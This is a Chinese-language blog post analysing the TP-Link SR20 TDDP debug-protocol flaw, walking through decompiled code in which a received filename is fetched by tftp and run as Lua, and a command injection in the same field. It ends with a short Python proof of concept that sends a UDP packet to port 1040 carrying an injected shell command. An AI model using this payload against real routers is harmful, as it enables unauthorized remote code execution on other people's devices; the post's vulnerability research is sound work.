美文网首页
TP-Link SR20 本地网络远程代码执行漏洞

TP-Link SR20 本地网络远程代码执行漏洞

作者: 骑猪满天飞 | 来源:发表于2020-12-08 17:20 被阅读0次

    环境搭建

    漏洞的介绍与环境搭建可以看SeeBug对于此漏洞的复现文章
    链接:重现 TP-Link SR20 本地网络远程代码执行漏洞

    TDDP协议介绍介绍

    TDDP是TP-Link用于调试的简单协议,这个协议使用一个数据包,在载荷中使用不同的消息类型来完成请求或者命令的传递。下面的图片是TDDP的数据包信息


    tddp_protocol.PNG

    官方介绍:
    https://patentimages.storage.googleapis.com/d8/ad/08/b5ae76e905594d/CN102096654A.pdf

    漏洞分析

    使用IDA查看tddp程序,因为程序不是很大,可从头分析逻辑,搜索tddp启动时打印字符串tddp task start的位置,找到程序起始位置。


    tddp_start.PNG

    sub_16ACCh函数申请了一块内存空间,

      memset(s->field_38, 0, 9u);
      memset(s->buff1, 0, 0xAFC9u);
      memset(s->recv_buff, 0, 0xAFC9u);
      memset(s->field_41, 0, 17u);
      memset(s, 0, 0x28u);   
    

    后续此空间用来保存socket信息和传递的数据。根据此信息创建一个结构体,来简化伪代码:

    struct_info.PNG

    sub_16E5C函数用来创建socket

    tddp_type_handle函数根据接收数据包,选择tddp v1 或tddp v2进行处理(tddp v2包含认证)。跟进该函数:


    tddp_handle.PNG

    程序根据接收的第一个字节判断tddp版本信息,跟进tddp_version1_handle函数:


    tddp_version1.PNG

    该函数根据接收数据第二个字节选择特定debug功能。

    漏洞点在处理 CMD_FTEST_CONFIG 所在的 0x31 这个分支,继续跟进:

    int __fastcall CMD_FTEST_CONFIG(int *data)
    {
      void *L; // r0
      uint32_t v2; // r0
      char *v3; // r3
      __int16 v4; // r2
      char *v5; // r3
      int v6; // r0
      int v7; // r1
      data_info *v10; // [sp+4h] [bp-E8h]
      char name; // [sp+8h] [bp-E4h]
      char s; // [sp+48h] [bp-A4h]
      char filname; // [sp+88h] [bp-64h]
      char *v14; // [sp+C8h] [bp-24h]
      char *v15; // [sp+CCh] [bp-20h]
      char *v16; // [sp+D0h] [bp-1Ch]
      int v17; // [sp+D4h] [bp-18h]
      char *ip_addr; // [sp+D8h] [bp-14h]
      int v19; // [sp+DCh] [bp-10h]
      unsigned int v20; // [sp+E0h] [bp-Ch]
      char *v21; // [sp+E4h] [bp-8h]
    
      v10 = data;
      v20 = 1;
      v19 = 4;
      memset(&filname, 0, 0x40u);
      memset(&s, 0, 0x40u);
      L = memset(&name, 0, 0x40u);
      ip_addr = 0;
      v17 = luaL_newstate(L);
      v21 = v10->recv_buff;
      v16 = v10->buff1;
      v15 = v10->recv_buff;
      v14 = v10->buff1;
      v10->buff1[1] = 0x31;
      v2 = htonl(0);
      v3 = v14;
      v14[4] = v2;
      v3[5] = BYTE1(v2);
      v3[6] = BYTE2(v2);
      v3[7] = HIBYTE(v2);
      v14[2] = 2;
      v4 = (v15[9] << 8) | v15[8];
      v5 = v14;
      v14[8] = v15[8];
      v5[9] = HIBYTE(v4);
      if ( *v15 == 1 )
      {
        v21 += 12;   //数据偏移字节
        v16 += 12;
      }
      else
      {
        v21 += 28;
        v16 += 28;
      }
      if ( !v21 )
        goto LABEL_20;
      sscanf(v21, "%[^;];%s", &filname, &s);
      if ( !filname || !s )
      {
        printf("[%s():%d] luaFile or configFile len error.\n", 98236, 555);
    LABEL_20:
        v14[3] = 3;
        return error(-10303, 94892);
      }
      ip_addr = inet_ntoa(v10->sin_addr);
      exec_cmd("cd /tmp;tftp -gr %s %s &", &filname, ip_addr);
      sprintf(&name, "/tmp/%s", &filname);
      while ( v19 > 0 )
      {
        sleep(1u);
        if ( !access(&name, 0) )                    // 判断lua文件是否下载成功
          break;
        --v19;
      }
      if ( !v19 )
      {
        printf("[%s():%d] lua file [%s] don't exsit.\n", 98236, 574, &name);
        goto LABEL_20;
      }
      if ( v17 )
      {
        luaL_openlibs(v17);
        if ( !luaL_loadfile(v17, &name) )
          lua_pcall(v17, 0, -1, 0);
        lua_getfield(v17, -10002, 0x172A0);
        lua_pushstring(v17, &s);
        lua_pushstring(v17, ip_addr);
        lua_call(v17, 2, 1);
        v6 = lua_tonumber(v17, -1);
        v20 = sub_16EC4(v6, v7);
        lua_settop(v17, -2);
      }
      lua_close(v17);
      if ( v20 )
        goto LABEL_20;
      v14[3] = 0;
      return 0;
    }
    

    该函数从接收数据的第12字节,获取要下载的文件名。

    if ( *v15 == 1 )
      {
        v21 += 12;   //数据偏移字节
        v16 += 12;
      }
      ...
    sscanf(v21, "%[^;];%s", &filname, &s);
    

    后拼接成命令:cd /tmp;tftp -gr %s %s ,实现了使用tftp去连接指定ip地址并下载相应的文件,并最终通过c代码调用该lua文件中的config_test函数,从而实现任意代码执行:


    lua.PNG

    命令注入漏洞

    根据分析,CMD_FTEST_CONFIG 函数也存在一个命令注入,如下:

    sscanf(v21, "%[^;];%s", &filname, &s);
    ...
    exec_cmd("cd /tmp;tftp -gr %s %s &", &filname, ip_addr);
    

    其中filename为用户可控输入,可拼接造成命令注入。

    POC:

    from pwn import *
    import sys
    import socket
    
    argument = "|| %s&&ping;123 " % sys.argv[2]
    payload = p8(1)+p8(0x31)+10*p8(0)+argument
    sock_send = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    sock_send.sendto(payload,(sys.argv[1],1040))
    
    
    command_inject.PNG

    相关文章

      网友评论

          本文标题:TP-Link SR20 本地网络远程代码执行漏洞

          本文链接:https://www.haomeiwen.com/subject/sblqgktx.html